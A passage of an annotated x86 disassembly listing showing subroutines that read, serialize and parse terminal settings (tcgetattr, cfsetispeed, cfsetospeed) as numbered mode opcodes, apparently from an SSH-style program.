0805728f   90                  nop
08057290   b8 0e 00 00 00      mov    $0xe,%eax   ;14 'xe x0 x0 x0' ""
08057295   eb 26               jmp    080572bd <Unknown0175+0x1c9>
08057297   90                  nop
08057298   b8 0f 00 00 00      mov    $0xf,%eax   ;15 'xf x0 x0 x0' ""
0805729d   eb 1e               jmp    080572bd <Unknown0175+0x1c9>
0805729f   90                  nop
080572a0   b8 01 10 00 00      mov    $0x1001,%eax  ;4097 'x1 x10 x0 x0' ""
080572a5   eb 16               jmp    080572bd <Unknown0175+0x1c9>
080572a7   90                  nop
080572a8   b8 02 10 00 00      mov    $0x1002,%eax  ;4098 'x2 x10 x0 x0' ""
080572ad   eb 0e               jmp    080572bd <Unknown0175+0x1c9>
080572af   90                  nop
080572b0   b8 03 10 00 00      mov    $0x1003,%eax  ;4099 'x3 x10 x0 x0' ""
080572b5   eb 06               jmp    080572bd <Unknown0175+0x1c9>
080572b7   90                  nop
080572b8   b8 0d 00 00 00      mov    $0xd,%eax   ;13 'xd x0 x0 x0' ""
080572bd   5d                  pop    %ebp
080572be   c3                  ret
080572bf   90                  nop
```

```
        ;
        ; >---------------------< Subroutine # 176 >---------------------<
        ;
080572c0 <Unknown0176>:
080572c0  55                      push   %ebp
080572c1  89 e5                   mov    %esp,%ebp
080572c3  56                      push   %esi
080572c4  53                      push   %ebx
080572c5  83 ec 48                sub    $0x48,%esp
080572c8  8d 75 b8                lea    0xffffffb8(%ebp),%esi
080572cb  56                      push   %esi
080572cc  ff 75 08                pushl  0x8(%ebp)
080572cf  e8 c8 31 ff ff          call   0804a49c <tcgetattr>
080572d4  83 c4 10                add    $0x10,%esp
080572d7  85 c0                   test   %eax,%eax
080572d9  79 29                   jns    08057304 <Unknown0176+0x44>
080572db  83 ec 0c                sub    $0xc,%esp
080572de  6a 00                   push   $0x0
080572e0  e8 6f ed ff ff          call   08056054 <Unknown0140>
080572e5  e8 52 2b ff ff          call   08049e3c <__errno_location>
080572ea  5b                      pop    %ebx
080572eb  ff 30                   pushl  (%eax)
080572ed  e8 fa 2a ff ff          call   08049dec <strerror>
080572f2  5a                      pop    %edx
080572f3  59                      pop    %ecx
080572f4  50                      push   %eax
080572f5  68 40 18 07 08          push   $0x8071840   ;[in .rodata] 1701274484 'x74 x63 x67 x65' "tcgetattr:
                                                          %.100s"
080572fa  e8 1d 89 ff ff          call   0804fc1c <Unknown0036>
080572ff  e9 9b 05 00 00          jmp    0805789f <Unknown0176+0x5df>  ;1435 'x9b x5 x0 x0' ""
08057304  83 ec 0c                sub    $0xc,%esp
08057307  56                      push   %esi
08057308  e8 ff 2b ff ff          call   08049f0c <cfgetospeed>
0805730d  89 04 24                mov    %eax,(%esp,1)
08057310  e8 5b fc ff ff          call   08056f70 <Unknown0174>
08057315  c7 04 24 c1 00 00 00    movl   $0xc1,(%esp,1)   ;193 'xc1 x0 x0 x0' ""
0805731c  89 c3                   mov    %eax,%ebx
0805731e  e8 31 ed ff ff          call   08056054 <Unknown0140>
08057323  89 1c 24                mov    %ebx,(%esp,1)
08057326  e8 49 ed ff ff          call   08056074 <Unknown0141>
0805732b  89 34 24                mov    %esi,(%esp,1)
0805732e  e8 79 2a ff ff          call   08049dac <cfgetispeed>
08057333  89 04 24                mov    %eax,(%esp,1)
08057336  e8 35 fc ff ff          call   08056f70 <Unknown0174>
0805733b  c7 04 24 c0 00 00 00    movl   $0xc0,(%esp,1)   ;192 'xc0 x0 x0 x0' ""
08057342  89 c3                   mov    %eax,%ebx
08057344  e8 0b ed ff ff          call   08056054 <Unknown0140>
08057349  89 1c 24                mov    %ebx,(%esp,1)
0805734c  e8 23 ed ff ff          call   08056074 <Unknown0141>
08057351  c7 04 24 01 00 00 00    movl   $0x1,(%esp,1)    ;1 'x1 x0 x0 x0' ""
08057358  e8 f7 ec ff ff          call   08056054 <Unknown0140>
0805735d  0f b6 45 c9             movzbl 0xffffffc9(%ebp),%eax
08057361  89 04 24                mov    %eax,(%esp,1)
08057364  e8 eb ec ff ff          call   08056054 <Unknown0140>
08057369  c7 04 24 02 00 00 00    movl   $0x2,(%esp,1)    ;2 'x2 x0 x0 x0' ""
08057370  e8 df ec ff ff          call   08056054 <Unknown0140>
08057375  0f b6 45 ca             movzbl 0xffffffca(%ebp),%eax
08057379  89 04 24                mov    %eax,(%esp,1)
0805737c  e8 d3 ec ff ff          call   08056054 <Unknown0140>
08057381  c7 04 24 03 00 00 00    movl   $0x3,(%esp,1)    ;3 'x3 x0 x0 x0' ""
08057388  e8 c7 ec ff ff          call   08056054 <Unknown0140>
0805738d  0f b6 45 cb             movzbl 0xffffffcb(%ebp),%eax
08057391  89 04 24                mov    %eax,(%esp,1)
08057394  e8 bb ec ff ff          call   08056054 <Unknown0140>
08057399  c7 04 24 04 00 00 00    movl   $0x4,(%esp,1)    ;4 'x4 x0 x0 x0' ""
080573a0  e8 af ec ff ff          call   08056054 <Unknown0140>
080573a5  0f b6 45 cc             movzbl 0xffffffcc(%ebp),%eax
080573a9  89 04 24                mov    %eax,(%esp,1)
080573ac  e8 a3 ec ff ff          call   08056054 <Unknown0140>
080573b1  c7 04 24 05 00 00 00    movl   $0x5,(%esp,1)    ;5 'x5 x0 x0 x0' ""
080573b8  e8 97 ec ff ff          call   08056054 <Unknown0140>
080573bd  0f b6 45 cd             movzbl 0xffffffcd(%ebp),%eax
080573c1  89 04 24                mov    %eax,(%esp,1)
080573c4  e8 8b ec ff ff          call   08056054 <Unknown0140>
080573c9  c7 04 24 06 00 00 00    movl   $0x6,(%esp,1)    ;6 'x6 x0 x0 x0' ""
080573d0  e8 7f ec ff ff          call   08056054 <Unknown0140>
080573d5  0f b6 45 d4             movzbl 0xffffffd4(%ebp),%eax
080573d9  89 04 24                mov    %eax,(%esp,1)
080573dc  e8 73 ec ff ff          call   08056054 <Unknown0140>
080573e1  c7 04 24 07 00 00 00    movl   $0x7,(%esp,1)    ;7 'x7 x0 x0 x0' ""
080573e8  e8 67 ec ff ff          call   08056054 <Unknown0140>
080573ed  0f b6 45 d9             movzbl 0xffffffd9(%ebp),%eax
```

```
080573f1  89 04 24              mov     %eax,(%esp,1)
080573f4  e8 5b ec ff ff        call    08056054 <Unknown0140>
080573f9  c7 04 24 08 00 00 00  movl    $0x8,(%esp,1)    ;8 'x8 x0 x0 x0' ""
08057400  e8 4f ec ff ff        call    08056054 <Unknown0140>
08057405  0f b6 45 d1           movzbl  0xffffffd1(%ebp),%eax
08057409  89 04 24              mov     %eax,(%esp,1)
0805740c  e8 43 ec ff ff        call    08056054 <Unknown0140>
08057411  c7 04 24 09 00 00 00  movl    $0x9,(%esp,1)    ;9 'x9 x0 x0 x0' ""
08057418  e8 37 ec ff ff        call    08056054 <Unknown0140>
0805741d  0f b6 45 d2           movzbl  0xffffffd2(%ebp),%eax
08057421  89 04 24              mov     %eax,(%esp,1)
08057424  e8 2b ec ff ff        call    08056054 <Unknown0140>
08057429  c7 04 24 0a 00 00 00  movl    $0xa,(%esp,1)    ;10 'xa x0 x0 x0' ""
08057430  e8 1f ec ff ff        call    08056054 <Unknown0140>
08057435  0f b6 45 d3           movzbl  0xffffffd3(%ebp),%eax
08057439  89 04 24              mov     %eax,(%esp,1)
0805743c  e8 13 ec ff ff        call    08056054 <Unknown0140>
08057441  c7 04 24 0c 00 00 00  movl    $0xc,(%esp,1)    ;12 'xc x0 x0 x0' ""
08057448  e8 07 ec ff ff        call    08056054 <Unknown0140>
0805744d  0f b6 45 d5           movzbl  0xffffffd5(%ebp),%eax
08057451  89 04 24              mov     %eax,(%esp,1)
08057454  e8 fb eb ff ff        call    08056054 <Unknown0140>
08057459  c7 04 24 0d 00 00 00  movl    $0xd,(%esp,1)    ;13 'xd x0 x0 x0' ""
08057460  e8 ef eb ff ff        call    08056054 <Unknown0140>
08057465  0f b6 45 d7           movzbl  0xffffffd7(%ebp),%eax
08057469  89 04 24              mov     %eax,(%esp,1)
0805746c  e8 e3 eb ff ff        call    08056054 <Unknown0140>
08057471  c7 04 24 0e 00 00 00  movl    $0xe,(%esp,1)    ;14 'xe x0 x0 x0' ""
08057478  e8 d7 eb ff ff        call    08056054 <Unknown0140>
0805747d  0f b6 45 d8           movzbl  0xffffffd8(%ebp),%eax
08057481  89 04 24              mov     %eax,(%esp,1)
08057484  e8 cb eb ff ff        call    08056054 <Unknown0140>
08057489  c7 04 24 12 00 00 00  movl    $0x12,(%esp,1)   ;18 'x12 x0 x0 x0' ""
08057490  e8 bf eb ff ff        call    08056054 <Unknown0140>
08057495  0f b6 45 d6           movzbl  0xffffffd6(%ebp),%eax
08057499  89 04 24              mov     %eax,(%esp,1)
0805749c  e8 b3 eb ff ff        call    08056054 <Unknown0140>
080574a1  c7 04 24 1e 00 00 00  movl    $0x1e,(%esp,1)   ;30 'x1e x0 x0 x0' ""
080574a8  e8 a7 eb ff ff        call    08056054 <Unknown0140>
080574ad  8b 45 b8              mov     0xffffffb8(%ebp),%eax
080574b0  c1 e8 02              shr     $0x2,%eax
080574b3  83 e0 01              and     $0x1,%eax
080574b6  89 04 24              mov     %eax,(%esp,1)
080574b9  e8 96 eb ff ff        call    08056054 <Unknown0140>
080574be  c7 04 24 1f 00 00 00  movl    $0x1f,(%esp,1)   ;31 'x1f x0 x0 x0' ""
080574c5  e8 8a eb ff ff        call    08056054 <Unknown0140>
080574ca  8b 45 b8              mov     0xffffffb8(%ebp),%eax
080574cd  c1 e8 03              shr     $0x3,%eax
080574d0  83 e0 01              and     $0x1,%eax
080574d3  89 04 24              mov     %eax,(%esp,1)
080574d6  e8 79 eb ff ff        call    08056054 <Unknown0140>
080574db  c7 04 24 20 00 00 00  movl    $0x20,(%esp,1)   ;32 'x20 x0 x0 x0' " "
080574e2  e8 6d eb ff ff        call    08056054 <Unknown0140>
080574e7  8b 45 b8              mov     0xffffffb8(%ebp),%eax
080574ea  c1 e8 04              shr     $0x4,%eax
080574ed  83 e0 01              and     $0x1,%eax
080574f0  89 04 24              mov     %eax,(%esp,1)
080574f3  e8 5c eb ff ff        call    08056054 <Unknown0140>
080574f8  c7 04 24 21 00 00 00  movl    $0x21,(%esp,1)   ;33 'x21 x0 x0 x0' "!"
080574ff  e8 50 eb ff ff        call    08056054 <Unknown0140>
08057504  8b 45 b8              mov     0xffffffb8(%ebp),%eax
08057507  c1 e8 05              shr     $0x5,%eax
0805750a  83 e0 01              and     $0x1,%eax
0805750d  89 04 24              mov     %eax,(%esp,1)
08057510  e8 3f eb ff ff        call    08056054 <Unknown0140>
08057515  c7 04 24 22 00 00 00  movl    $0x22,(%esp,1)   ;34 'x22 x0 x0 x0' """
0805751c  e8 33 eb ff ff        call    08056054 <Unknown0140>
08057521  8b 45 b8              mov     0xffffffb8(%ebp),%eax
08057524  c1 e8 06              shr     $0x6,%eax
08057527  83 e0 01              and     $0x1,%eax
0805752a  89 04 24              mov     %eax,(%esp,1)
0805752d  e8 22 eb ff ff        call    08056054 <Unknown0140>
08057532  c7 04 24 23 00 00 00  movl    $0x23,(%esp,1)   ;35 'x23 x0 x0 x0' "#"
08057539  e8 16 eb ff ff        call    08056054 <Unknown0140>
0805753e  8b 45 b8              mov     0xffffffb8(%ebp),%eax
08057541  c1 e8 07              shr     $0x7,%eax
08057544  83 e0 01              and     $0x1,%eax
08057547  89 04 24              mov     %eax,(%esp,1)
0805754a  e8 05 eb ff ff        call    08056054 <Unknown0140>
0805754f  c7 04 24 24 00 00 00  movl    $0x24,(%esp,1)   ;36 'x24 x0 x0 x0' "$"
08057556  e8 f9 ea ff ff        call    08056054 <Unknown0140>
0805755b  8b 45 b8              mov     0xffffffb8(%ebp),%eax
0805755e  c1 e8 08              shr     $0x8,%eax
08057561  83 e0 01              and     $0x1,%eax
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08057564   89 04 24                mov     %eax,(%esp,1)
08057567   e8 e8 ea ff ff          call    08056054 <Unknown0140>
0805756c   c7 04 24 25 00 00 00    movl    $0x25,(%esp,1)   ;37 'x25 x0 x0 x0'  "%"
08057573   e8 dc ea ff ff          call    08056054 <Unknown0140>
08057578   8b 45 b8                mov     0xffffffb8(%ebp),%eax
0805757b   c1 e8 09                shr     $0x9,%eax
0805757e   83 e0 01                and     $0x1,%eax
08057581   89 04 24                mov     %eax,(%esp,1)
08057584   e8 cb ea ff ff          call    08056054 <Unknown0140>
08057589   c7 04 24 26 00 00 00    movl    $0x26,(%esp,1)   ;38 'x26 x0 x0 x0'  "&"
08057590   e8 bf ea ff ff          call    08056054 <Unknown0140>
08057595   8b 45 b8                mov     0xffffffb8(%ebp),%eax
08057598   c1 e8 0a                shr     $0xa,%eax
0805759b   83 e0 01                and     $0x1,%eax
0805759e   89 04 24                mov     %eax,(%esp,1)
080575a1   e8 ae ea ff ff          call    08056054 <Unknown0140>
080575a6   c7 04 24 27 00 00 00    movl    $0x27,(%esp,1)   ;39 'x27 x0 x0 x0'  "'"
080575ad   e8 a2 ea ff ff          call    08056054 <Unknown0140>
080575b2   8b 45 b8                mov     0xffffffb8(%ebp),%eax
080575b5   c1 e8 0b                shr     $0xb,%eax
080575b8   83 e0 01                and     $0x1,%eax
080575bb   89 04 24                mov     %eax,(%esp,1)
080575be   e8 91 ea ff ff          call    08056054 <Unknown0140>
080575c3   c7 04 24 28 00 00 00    movl    $0x28,(%esp,1)   ;40 'x28 x0 x0 x0'  "("
080575ca   e8 85 ea ff ff          call    08056054 <Unknown0140>
080575cf   8b 45 b8                mov     0xffffffb8(%ebp),%eax
080575d2   c1 e8 0c                shr     $0xc,%eax
080575d5   83 e0 01                and     $0x1,%eax
080575d8   89 04 24                mov     %eax,(%esp,1)
080575db   e8 74 ea ff ff          call    08056054 <Unknown0140>
080575e0   c7 04 24 29 00 00 00    movl    $0x29,(%esp,1)   ;41 'x29 x0 x0 x0'  ")"
080575e7   e8 68 ea ff ff          call    08056054 <Unknown0140>
080575ec   8b 45 b8                mov     0xffffffb8(%ebp),%eax
080575ef   c1 e8 0d                shr     $0xd,%eax
080575f2   83 e0 01                and     $0x1,%eax
080575f5   89 04 24                mov     %eax,(%esp,1)
080575f8   e8 57 ea ff ff          call    08056054 <Unknown0140>
080575fd   c7 04 24 32 00 00 00    movl    $0x32,(%esp,1)   ;50 'x32 x0 x0 x0'  "2"
08057604   e8 4b ea ff ff          call    08056054 <Unknown0140>
08057609   8b 45 c4                mov     0xffffffc4(%ebp),%eax
0805760c   83 e0 01                and     $0x1,%eax
0805760f   89 04 24                mov     %eax,(%esp,1)
08057612   e8 3d ea ff ff          call    08056054 <Unknown0140>
08057617   c7 04 24 33 00 00 00    movl    $0x33,(%esp,1)   ;51 'x33 x0 x0 x0'  "3"
0805761e   e8 31 ea ff ff          call    08056054 <Unknown0140>
08057623   8b 45 c4                mov     0xffffffc4(%ebp),%eax
08057626   d1 e8                   shr     %eax
08057628   83 e0 01                and     $0x1,%eax
0805762b   89 04 24                mov     %eax,(%esp,1)
0805762e   e8 21 ea ff ff          call    08056054 <Unknown0140>
08057633   c7 04 24 34 00 00 00    movl    $0x34,(%esp,1)   ;52 'x34 x0 x0 x0'  "4"
0805763a   e8 15 ea ff ff          call    08056054 <Unknown0140>
0805763f   8b 45 c4                mov     0xffffffc4(%ebp),%eax
08057642   c1 e8 02                shr     $0x2,%eax
08057645   83 e0 01                and     $0x1,%eax
08057648   89 04 24                mov     %eax,(%esp,1)
0805764b   e8 04 ea ff ff          call    08056054 <Unknown0140>
08057650   c7 04 24 35 00 00 00    movl    $0x35,(%esp,1)   ;53 'x35 x0 x0 x0'  "5"
08057657   e8 f8 e9 ff ff          call    08056054 <Unknown0140>
0805765c   8b 45 c4                mov     0xffffffc4(%ebp),%eax
0805765f   c1 e8 03                shr     $0x3,%eax
08057662   83 e0 01                and     $0x1,%eax
08057665   89 04 24                mov     %eax,(%esp,1)
08057668   e8 e7 e9 ff ff          call    08056054 <Unknown0140>
0805766d   c7 04 24 36 00 00 00    movl    $0x36,(%esp,1)   ;54 'x36 x0 x0 x0'  "6"
08057674   e8 db e9 ff ff          call    08056054 <Unknown0140>
08057679   8b 45 c4                mov     0xffffffc4(%ebp),%eax
0805767c   c1 e8 04                shr     $0x4,%eax
0805767f   83 e0 01                and     $0x1,%eax
08057682   89 04 24                mov     %eax,(%esp,1)
08057685   e8 ca e9 ff ff          call    08056054 <Unknown0140>
0805768a   c7 04 24 37 00 00 00    movl    $0x37,(%esp,1)   ;55 'x37 x0 x0 x0'  "7"
08057691   e8 be e9 ff ff          call    08056054 <Unknown0140>
08057696   8b 45 c4                mov     0xffffffc4(%ebp),%eax
08057699   c1 e8 05                shr     $0x5,%eax
0805769c   83 e0 01                and     $0x1,%eax
0805769f   89 04 24                mov     %eax,(%esp,1)
080576a2   e8 ad e9 ff ff          call    08056054 <Unknown0140>
080576a7   c7 04 24 38 00 00 00    movl    $0x38,(%esp,1)   ;56 'x38 x0 x0 x0'  "8"
080576ae   e8 a1 e9 ff ff          call    08056054 <Unknown0140>
080576b3   8b 45 c4                mov     0xffffffc4(%ebp),%eax
080576b6   c1 e8 06                shr     $0x6,%eax
080576b9   83 e0 01                and     $0x1,%eax
080576bc   89 04 24                mov     %eax,(%esp,1)
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```
080576bf   e8 90 e9 ff ff        call    08056054 <Unknown0140>
080576c4   c7 04 24 39 00 00 00   movl    $0x39,(%esp,1)   ;57 'x39 x0 x0 x0' "9"
080576cb   e8 84 e9 ff ff        call    08056054 <Unknown0140>
080576d0   8b 45 c4              mov     0xffffffc4(%ebp),%eax
080576d3   c1 e8 07              shr     $0x7,%eax
080576d6   83 e0 01              and     $0x1,%eax
080576d9   89 04 24              mov     %eax,(%esp,1)
080576dc   e8 73 e9 ff ff        call    08056054 <Unknown0140>
080576e1   c7 04 24 3a 00 00 00   movl    $0x3a,(%esp,1)   ;58 'x3a x0 x0 x0' ":"
080576e8   e8 67 e9 ff ff        call    08056054 <Unknown0140>
080576ed   8b 45 c4              mov     0xffffffc4(%ebp),%eax
080576f0   c1 e8 08              shr     $0x8,%eax
080576f3   83 e0 01              and     $0x1,%eax
080576f6   89 04 24              mov     %eax,(%esp,1)
080576f9   e8 56 e9 ff ff        call    08056054 <Unknown0140>
080576fe   c7 04 24 3b 00 00 00   movl    $0x3b,(%esp,1)   ;59 'x3b x0 x0 x0' ";"
08057705   e8 4a e9 ff ff        call    08056054 <Unknown0140>
0805770a   8b 45 c4              mov     0xffffffc4(%ebp),%eax
0805770d   c1 e8 0f              shr     $0xf,%eax
08057710   83 e0 01              and     $0x1,%eax
08057713   89 04 24              mov     %eax,(%esp,1)
08057716   e8 39 e9 ff ff        call    08056054 <Unknown0140>
0805771b   c7 04 24 3c 00 00 00   movl    $0x3c,(%esp,1)   ;60 'x3c x0 x0 x0' "<"
08057722   e8 2d e9 ff ff        call    08056054 <Unknown0140>
08057727   8b 45 c4              mov     0xffffffc4(%ebp),%eax
0805772a   c1 e8 09              shr     $0x9,%eax
0805772d   83 e0 01              and     $0x1,%eax
08057730   89 04 24              mov     %eax,(%esp,1)
08057733   e8 1c e9 ff ff        call    08056054 <Unknown0140>
08057738   c7 04 24 3d 00 00 00   movl    $0x3d,(%esp,1)   ;61 'x3d x0 x0 x0' "="
0805773f   e8 10 e9 ff ff        call    08056054 <Unknown0140>
08057744   8b 45 c4              mov     0xffffffc4(%ebp),%eax
08057747   c1 e8 0b              shr     $0xb,%eax
0805774a   83 e0 01              and     $0x1,%eax
0805774d   89 04 24              mov     %eax,(%esp,1)
08057750   e8 ff e8 ff ff        call    08056054 <Unknown0140>
08057755   c7 04 24 3e 00 00 00   movl    $0x3e,(%esp,1)   ;62 'x3e x0 x0 x0' ">"
0805775c   e8 f3 e8 ff ff        call    08056054 <Unknown0140>
08057761   8b 45 c4              mov     0xffffffc4(%ebp),%eax
08057764   c1 e8 0e              shr     $0xe,%eax
08057767   83 e0 01              and     $0x1,%eax
0805776a   89 04 24              mov     %eax,(%esp,1)
0805776d   e8 e2 e8 ff ff        call    08056054 <Unknown0140>
08057772   c7 04 24 46 00 00 00   movl    $0x46,(%esp,1)   ;70 'x46 x0 x0 x0' "F"
08057779   e8 d6 e8 ff ff        call    08056054 <Unknown0140>
0805777e   8b 45 bc              mov     0xffffffbc(%ebp),%eax
08057781   83 e0 01              and     $0x1,%eax
08057784   89 04 24              mov     %eax,(%esp,1)
08057787   e8 c8 e8 ff ff        call    08056054 <Unknown0140>
0805778c   c7 04 24 47 00 00 00   movl    $0x47,(%esp,1)   ;71 'x47 x0 x0 x0' "G"
08057793   e8 bc e8 ff ff        call    08056054 <Unknown0140>
08057798   8b 45 bc              mov     0xffffffbc(%ebp),%eax
0805779b   d1 e8                 shr     %eax
0805779d   83 e0 01              and     $0x1,%eax
080577a0   89 04 24              mov     %eax,(%esp,1)
080577a3   e8 ac e8 ff ff        call    08056054 <Unknown0140>
080577a8   c7 04 24 48 00 00 00   movl    $0x48,(%esp,1)   ;72 'x48 x0 x0 x0' "H"
080577af   e8 a0 e8 ff ff        call    08056054 <Unknown0140>
080577b4   8b 45 bc              mov     0xffffffbc(%ebp),%eax
080577b7   c1 e8 02              shr     $0x2,%eax
080577ba   83 e0 01              and     $0x1,%eax
080577bd   89 04 24              mov     %eax,(%esp,1)
080577c0   e8 8f e8 ff ff        call    08056054 <Unknown0140>
080577c5   c7 04 24 49 00 00 00   movl    $0x49,(%esp,1)   ;73 'x49 x0 x0 x0' "I"
080577cc   e8 83 e8 ff ff        call    08056054 <Unknown0140>
080577d1   8b 45 bc              mov     0xffffffbc(%ebp),%eax
080577d4   c1 e8 03              shr     $0x3,%eax
080577d7   83 e0 01              and     $0x1,%eax
080577da   89 04 24              mov     %eax,(%esp,1)
080577dd   e8 72 e8 ff ff        call    08056054 <Unknown0140>
080577e2   c7 04 24 4a 00 00 00   movl    $0x4a,(%esp,1)   ;74 'x4a x0 x0 x0' "J"
080577e9   e8 66 e8 ff ff        call    08056054 <Unknown0140>
080577ee   8b 45 bc              mov     0xffffffbc(%ebp),%eax
080577f1   c1 e8 04              shr     $0x4,%eax
080577f4   83 e0 01              and     $0x1,%eax
080577f7   89 04 24              mov     %eax,(%esp,1)
080577fa   e8 55 e8 ff ff        call    08056054 <Unknown0140>
080577ff   c7 04 24 4b 00 00 00   movl    $0x4b,(%esp,1)   ;75 'x4b x0 x0 x0' "K"
08057806   e8 49 e8 ff ff        call    08056054 <Unknown0140>
0805780b   8b 45 bc              mov     0xffffffbc(%ebp),%eax
0805780e   c1 e8 05              shr     $0x5,%eax
08057811   83 e0 01              and     $0x1,%eax
08057814   89 04 24              mov     %eax,(%esp,1)
08057817   e8 38 e8 ff ff        call    08056054 <Unknown0140>
```

```
0805781c   c7 04 24 5a 00 00 00    movl    $0x5a,(%esp,1)  ;90 'x5a x0 x0 x0' "Z"
08057823   e8 2c e8 ff ff          call    08056054 <Unknown0140>
08057828   8b 45 c0                mov     0xffffffc0(%ebp),%eax
0805782b   c1 e8 05                shr     $0x5,%eax
0805782e   83 e0 01                and     $0x1,%eax
08057831   89 04 24                mov     %eax,(%esp,1)
08057834   e8 1b e8 ff ff          call    08056054 <Unknown0140>
08057839   c7 04 24 5b 00 00 00    movl    $0x5b,(%esp,1)  ;91 'x5b x0 x0 x0' "["
08057840   e8 0f e8 ff ff          call    08056054 <Unknown0140>
08057845   31 c0                   xor     %eax,%eax
08057847   f7 45 c0 30 00 00 00    testl   $0x30,0xffffffc0(%ebp)  ;48 'x30 x0 x0 x0' "0"
0805784e   0f 95 c0                setne   %al
08057851   89 04 24                mov     %eax,(%esp,1)
08057854   e8 fb e7 ff ff          call    08056054 <Unknown0140>
08057859   c7 04 24 5c 00 00 00    movl    $0x5c,(%esp,1)  ;92 'x5c x0 x0 x0' "\"
08057860   e8 ef e7 ff ff          call    08056054 <Unknown0140>
08057865   8b 45 c0                mov     0xffffffc0(%ebp),%eax
08057868   c1 e8 08                shr     $0x8,%eax
0805786b   83 e0 01                and     $0x1,%eax
0805786e   89 04 24                mov     %eax,(%esp,1)
08057871   e8 de e7 ff ff          call    08056054 <Unknown0140>
08057876   c7 04 24 5d 00 00 00    movl    $0x5d,(%esp,1)  ;93 'x5d x0 x0 x0' "]"
0805787d   e8 d2 e7 ff ff          call    08056054 <Unknown0140>
08057882   8b 45 c0                mov     0xffffffc0(%ebp),%eax
08057885   c1 e8 09                shr     $0x9,%eax
08057888   83 e0 01                and     $0x1,%eax
0805788b   89 04 24                mov     %eax,(%esp,1)
0805788e   e8 c1 e7 ff ff          call    08056054 <Unknown0140>
08057893   c7 04 24 00 00 00 00    movl    $0x0,(%esp,1)   ;0 'x0 x0 x0 x0' ""
0805789a   e8 b5 e7 ff ff          call    08056054 <Unknown0140>
0805789f   8d 65 f8                lea     0xfffffff8(%ebp),%esp
080578a2   5b                      pop     %ebx
080578a3   5e                      pop     %esi
080578a4   5d                      pop     %ebp
080578a5   c3                      ret
080578a6   89 f6                   mov     %esi,%esi


   ;
   ; >--------------------<  Subroutine # 177 >--------------------<
   ;
080578a8 <Unknown0177>:
080578a8   55                      push    %ebp
080578a9   89 e5                   mov     %esp,%ebp
080578ab   56                      push    %esi
080578ac   53                      push    %ebx
080578ad   83 ec 48                sub     $0x48,%esp
080578b0   8d 45 b8                lea     0xffffffb8(%ebp),%eax
080578b3   50                      push    %eax
080578b4   8b 75 08                mov     0x8(%ebp),%esi
080578b7   56                      push    %esi
080578b8   e8 df 2b ff ff          call    0804a49c <tcgetattr>
080578bd   83 c4 10                add     $0x10,%esp
080578c0   85 c0                   test    %eax,%eax
080578c2   0f 88 7d 06 00 00       js      08057f45 <Unknown0177+0x69d>  ;1661 'x7d x6 x0 x0' "}"
080578c8   e8 1b ee ff ff          call    080566e8 <Unknown0150>
080578cd   89 c3                   mov     %eax,%ebx
080578cf   81 fb c1 00 00 00       cmp     $0xc1,%ebx   ;193 'xc1 x0 x0 x0' ""
080578d5   0f 87 f1 05 00 00       ja      08057ecc <Unknown0177+0x624>  ;1521 'xf1 x5 x0 x0' ""
080578db   ff 24 9d 50 19 07 08    jmp     *0x8071950(,%ebx,4)  ;[in .rodata] 134577937 'x11 x7f x5 x8' ""
080578e2   89 f6                   mov     %esi,%esi
080578e4   e8 1b ee ff ff          call    08056704 <Unknown0151>
080578e9   83 ec 0c                sub     $0xc,%esp
080578ec   89 c3                   mov     %eax,%ebx
080578ee   53                      push    %ebx
080578ef   e8 00 f8 ff ff          call    080570f4 <Unknown0175>
080578f4   5a                      pop     %edx
080578f5   59                      pop     %ecx
080578f6   50                      push    %eax
080578f7   8d 45 b8                lea     0xffffffb8(%ebp),%eax
080578fa   50                      push    %eax
080578fb   e8 7c 2a ff ff          call    0804a37c <cfsetispeed>
08057900   83 c4 10                add     $0x10,%esp
08057903   85 c0                   test    %eax,%eax
08057905   79 c1                   jns     080578c8 <Unknown0177+0x20>
08057907   83 ec 08                sub     $0x8,%esp
0805790a   53                      push    %ebx
0805790b   68 52 18 07 08          push    $0x8071852  ;[in .rodata] 1702061667 'x63 x66 x73 x65' "cfsetispeed
                                                        failed for %d"
08057910   eb 2e                   jmp     08057940 <Unknown0177+0x98>
08057912   89 f6                   mov     %esi,%esi
08057914   e8 eb ed ff ff          call    08056704 <Unknown0151>
08057919   83 ec 0c                sub     $0xc,%esp
0805791c   89 c3                   mov     %eax,%ebx
```

```
0805791e  53                        push   %ebx
0805791f  e8 d0 f7 ff ff            call   080570f4 <Unknown0175>
08057924  5a                        pop    %edx
08057925  59                        pop    %ecx
08057926  50                        push   %eax
08057927  8d 45 b8                  lea    0xffffffb8(%ebp),%eax
0805792a  50                        push   %eax
0805792b  e8 6c 24 ff ff            call   08049d9c <cfsetospeed>
08057930  83 c4 10                  add    $0x10,%esp
08057933  85 c0                     test   %eax,%eax
08057935  79 91                     jns    080578c8 <Unknown0177+0x20>
08057937  83 ec 08                  sub    $0x8,%esp
0805793a  53                        push   %ebx
0805793b  68 6c 18 07 08            push   $0x807186c  ;[in .rodata] 1702061667 'x63 x66 x73 x65' "cfsetospeed
                                                        failed for %d"
08057940  e8 c3 84 ff ff            call   0804fe08 <Unknown0040>
08057945  83 c4 10                  add    $0x10,%esp
08057948  e9 7b ff ff ff            jmp    080578c8 <Unknown0177+0x20>  ;-133 'x7b xff xff xff' "{"
0805794d  8d 76 00                  lea    0x0(%esi),%esi
08057950  e8 93 ed ff ff            call   080566e8 <Unknown0150>
08057955  88 45 c9                  mov    %al,0xffffffc9(%ebp)
08057958  e9 6b ff ff ff            jmp    080578c8 <Unknown0177+0x20>  ;-149 'x6b xff xff xff' "k"
0805795d  8d 76 00                  lea    0x0(%esi),%esi
08057960  e8 83 ed ff ff            call   080566e8 <Unknown0150>
08057965  88 45 ca                  mov    %al,0xffffffca(%ebp)
08057968  e9 5b ff ff ff            jmp    080578c8 <Unknown0177+0x20>  ;-165 'x5b xff xff xff' "["
0805796d  8d 76 00                  lea    0x0(%esi),%esi
08057970  e8 73 ed ff ff            call   080566e8 <Unknown0150>
08057975  88 45 cb                  mov    %al,0xffffffcb(%ebp)
08057978  e9 4b ff ff ff            jmp    080578c8 <Unknown0177+0x20>  ;-181 'x4b xff xff xff' "K"
0805797d  8d 76 00                  lea    0x0(%esi),%esi
08057980  e8 63 ed ff ff            call   080566e8 <Unknown0150>
08057985  88 45 cc                  mov    %al,0xffffffcc(%ebp)
08057988  e9 3b ff ff ff            jmp    080578c8 <Unknown0177+0x20>  ;-197 'x3b xff xff xff' ";"
0805798d  8d 76 00                  lea    0x0(%esi),%esi
08057990  e8 53 ed ff ff            call   080566e8 <Unknown0150>
08057995  88 45 cd                  mov    %al,0xffffffcd(%ebp)
08057998  e9 2b ff ff ff            jmp    080578c8 <Unknown0177+0x20>  ;-213 'x2b xff xff xff' "+"
0805799d  8d 76 00                  lea    0x0(%esi),%esi
